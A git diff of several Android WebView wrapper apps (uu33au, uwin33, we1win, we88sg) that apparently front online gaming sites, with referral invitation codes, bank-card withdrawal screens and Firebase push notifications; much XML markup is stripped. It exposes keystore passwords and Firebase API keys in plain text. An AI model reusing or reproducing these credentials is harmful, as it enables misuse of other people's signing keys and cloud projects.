a/uu33au/src/main/res/mipmap-xxhdpi/app_logo.png b/uu33au/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..407706d Binary files /dev/null and b/uu33au/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/uu33au/src/main/res/values-en/strings.xml b/uu33au/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/uu33au/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/uu33au/src/main/res/values-night/themes.xml b/uu33au/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/uu33au/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/uu33au/src/main/res/values/colors.xml b/uu33au/src/main/res/values/colors.xml new file mode 100644 index 0000000..dc6d58e --- /dev/null +++ b/uu33au/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #fcfcfc + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/uu33au/src/main/res/values/strings.xml b/uu33au/src/main/res/values/strings.xml new file mode 100644 index 0000000..d4c6561 --- /dev/null +++ b/uu33au/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + UU33au + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/uu33au/src/main/res/values/themes.xml b/uu33au/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/uu33au/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/uu33au/src/main/res/xml/app_updater_paths.xml b/uu33au/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/uu33au/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/uu33au/src/main/res/xml/network_security_config.xml b/uu33au/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/uu33au/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/uu33au/src/main/res/xml/provider_paths.xml b/uu33au/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/uu33au/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/uu33au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/uu33au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/uu33au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/uwin33/build.gradle b/uwin33/build.gradle index 379b780..5357213 100644 --- a/uwin33/build.gradle +++ b/uwin33/build.gradle @@ -17,31 +17,31 @@ android { } signingConfigs { -// debug { -// storeFile file('dskjweb.jks') -// storePassword "dskj2024" -// keyAlias 'dskjalias' -// keyPassword "dskj2024" -// } -// release { -// storeFile file('dskjweb.jks') -// storePassword "dskj2024" -// keyAlias 'dskjalias' -// keyPassword "dskj2024" -// } - debug { - storeFile file('uwin33.jks') - storePassword "android2014" + storeFile file('dskjweb.jks') + storePassword "dskj2024" keyAlias 'dskjalias' - keyPassword "android2014" + keyPassword "dskj2024" } release { - storeFile file('uwin33.jks') - storePassword "android2014" + storeFile file('dskjweb.jks') + storePassword "dskj2024" keyAlias 'dskjalias' - keyPassword "android2014" + keyPassword "dskj2024" } + +// debug { +// storeFile file('uwin33.jks') +// storePassword "android2014" +// keyAlias 'dskjalias' +// keyPassword "android2014" +// } +// release { +// storeFile file('uwin33.jks') +// storePassword "android2014" +// keyAlias 'dskjalias' +// keyPassword "android2014" +// } } buildTypes { diff --git a/vv88/build.gradle b/vv88/build.gradle index a9f724a..592c683 100644 --- a/vv88/build.gradle +++ b/vv88/build.gradle @@ -5,7 +5,6 @@ plugins { android { compileSdkVersion 31 - buildToolsVersion "30.0.3" defaultConfig { //73 diff --git a/we1win/build.gradle b/we1win/build.gradle index 4ae5848..b7cfe89 100644 --- a/we1win/build.gradle +++ b/we1win/build.gradle @@ -8,7 +8,7 @@ android { buildToolsVersion "30.0.3" defaultConfig { - applicationId "com.web.we1win" + applicationId "com.xyz.we1win" minSdkVersion 24 targetSdkVersion 31 versionCode rootProject.ext.versionCode diff --git a/we1win/google-services.json b/we1win/google-services.json index 085f067..b795da1 100644 --- a/we1win/google-services.json +++ b/we1win/google-services.json @@ -1,21 +1,21 @@ { "project_info": { - "project_number": "562120518046", - "project_id": "we1win-392c8", - "storage_bucket": "we1win-392c8.firebasestorage.app" + "project_number": "499658261788", + "project_id": "wew1wew-494b5", + "storage_bucket": "wew1wew-494b5.firebasestorage.app" }, "client": [ { "client_info": { - "mobilesdk_app_id": "1:562120518046:android:fdf1ac78a915bdd2a68e8f", + "mobilesdk_app_id": "1:499658261788:android:d1bc33e4911c7ed34526d9", "android_client_info": { - "package_name": "com.web.we1win" + "package_name": "com.xyz.we1win" } }, "oauth_client": [], "api_key": [ { - "current_key": "AIzaSyChPS8r3RDUG7ZZwMrtGgLjlJglx2qLonQ" + "current_key": "AIzaSyCVEvsHEC2TIlTAS_SX_z4mThfbTjKmefI" } ], "services": { diff --git a/we1win/src/main/AndroidManifest.xml b/we1win/src/main/AndroidManifest.xml index a36fef7..c6d2723 100644 --- a/we1win/src/main/AndroidManifest.xml +++ b/we1win/src/main/AndroidManifest.xml @@ -1,6 +1,6 @@ + package="com.xyz.we1win"> + variant.outputs.all { + def appName = "we88sg" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/we88sg/google-services.json b/we88sg/google-services.json new file mode 100644 index 0000000..81531bb --- /dev/null +++ b/we88sg/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "725847419041", + "project_id": "we88sg-c2b8e", + "storage_bucket": "we88sg-c2b8e.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:725847419041:android:28202b678a406a2cb228e0", + "android_client_info": { + "package_name": "com.xyz.we88sg" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCrwLuNIPPbvJbi5QN8XnQH3XlOAKgGjmc" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/we88sg/justlet.jks b/we88sg/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/we88sg/justlet.jks differ diff --git a/we88sg/ppn.jks b/we88sg/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/we88sg/ppn.jks differ diff --git a/we88sg/proguard-rules.pro b/we88sg/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/we88sg/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/we88sg/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/we88sg/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/we88sg/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/we88sg/src/main/AndroidManifest.xml b/we88sg/src/main/AndroidManifest.xml new file mode 100644 index 0000000..c72ef2b --- /dev/null +++ b/we88sg/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/we88sg/src/main/java/com/xyz/we88sg/MainActivity.java b/we88sg/src/main/java/com/xyz/we88sg/MainActivity.java new file mode 100644 index 0000000..d6a169a --- /dev/null +++ b/we88sg/src/main/java/com/xyz/we88sg/MainActivity.java @@ -0,0 +1,44 @@ +package com.xyz.we88sg; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 22; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url",""); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#191919"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#000000"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/we88sg/src/main/java/com/xyz/we88sg/MyFirebaseMessageingService.java b/we88sg/src/main/java/com/xyz/we88sg/MyFirebaseMessageingService.java new file mode 100644 index 0000000..1c8dec4 --- /dev/null +++ b/we88sg/src/main/java/com/xyz/we88sg/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.we88sg; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/we88sg/src/main/java/com/xyz/we88sg/WebApplication.java b/we88sg/src/main/java/com/xyz/we88sg/WebApplication.java new file mode 100644 index 0000000..167098e --- /dev/null +++ b/we88sg/src/main/java/com/xyz/we88sg/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.we88sg; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/we88sg/src/main/res/drawable-anydpi/ic_action_back.xml b/we88sg/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/we88sg/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/we88sg/src/main/res/drawable-hdpi/ic_action_back.png b/we88sg/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/we88sg/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/we88sg/src/main/res/drawable-mdpi/ic_action_back.png b/we88sg/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/we88sg/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/we88sg/src/main/res/drawable-v24/ic_launcher_foreground.xml b/we88sg/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/we88sg/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/we88sg/src/main/res/drawable-xhdpi/ic_action_back.png b/we88sg/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/we88sg/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/we88sg/src/main/res/drawable-xxhdpi/ic_action_back.png b/we88sg/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/we88sg/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/we88sg/src/main/res/drawable/big_bg.xml b/we88sg/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..20acafb --- /dev/null +++ b/we88sg/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/we88sg/src/main/res/drawable/ic_launcher_background.xml b/we88sg/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/we88sg/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/we88sg/src/main/res/drawable/input_bg.xml b/we88sg/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/we88sg/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/we88sg/src/main/res/drawable/pass_word_bg.xml b/we88sg/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/we88sg/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/we88sg/src/main/res/drawable/pass_word_bg1.xml b/we88sg/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/we88sg/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/we88sg/src/main/res/drawable/pass_word_bg2.xml b/we88sg/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/we88sg/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/we88sg/src/main/res/drawable/shape_btn_bg.xml b/we88sg/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/we88sg/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/we88sg/src/main/res/drawable/shape_dialog_bg2.xml b/we88sg/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/we88sg/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/we88sg/src/main/res/drawable/shape_dialog_bg3.xml b/we88sg/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/we88sg/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/we88sg/src/main/res/drawable/shape_dialog_bg_new.xml b/we88sg/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/we88sg/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/we88sg/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/we88sg/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/we88sg/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/we88sg/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/we88sg/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/we88sg/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/we88sg/src/main/res/mipmap-hdpi/ic_empty.png b/we88sg/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/we88sg/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/we88sg/src/main/res/mipmap-hdpi/ic_pull_down.png b/we88sg/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/we88sg/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/we88sg/src/main/res/mipmap-xhdpi/ic_close.png b/we88sg/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/we88sg/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/we88sg/src/main/res/mipmap-xhdpi/ic_menu.png b/we88sg/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/we88sg/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/we88sg/src/main/res/mipmap-xxhdpi/app_logo.png b/we88sg/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..0e0f08b Binary files /dev/null and b/we88sg/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/we88sg/src/main/res/values-en/strings.xml b/we88sg/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..c93beb3 --- /dev/null +++ b/we88sg/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + WE88SG + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/we88sg/src/main/res/values-night/themes.xml b/we88sg/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/we88sg/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/we88sg/src/main/res/values/colors.xml b/we88sg/src/main/res/values/colors.xml new file mode 100644 index 0000000..54cdcbb --- /dev/null +++ b/we88sg/src/main/res/values/colors.xml @@ -0,0 +1,19 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #191919 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/we88sg/src/main/res/values/strings.xml b/we88sg/src/main/res/values/strings.xml new file mode 100644 index 0000000..c7be437 --- /dev/null +++ b/we88sg/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + WE88SG + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/we88sg/src/main/res/values/themes.xml b/we88sg/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/we88sg/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/we88sg/src/main/res/xml/app_updater_paths.xml b/we88sg/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/we88sg/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/we88sg/src/main/res/xml/network_security_config.xml b/we88sg/src/main/res/xml/network_security_config.xml new file mode 100644 index 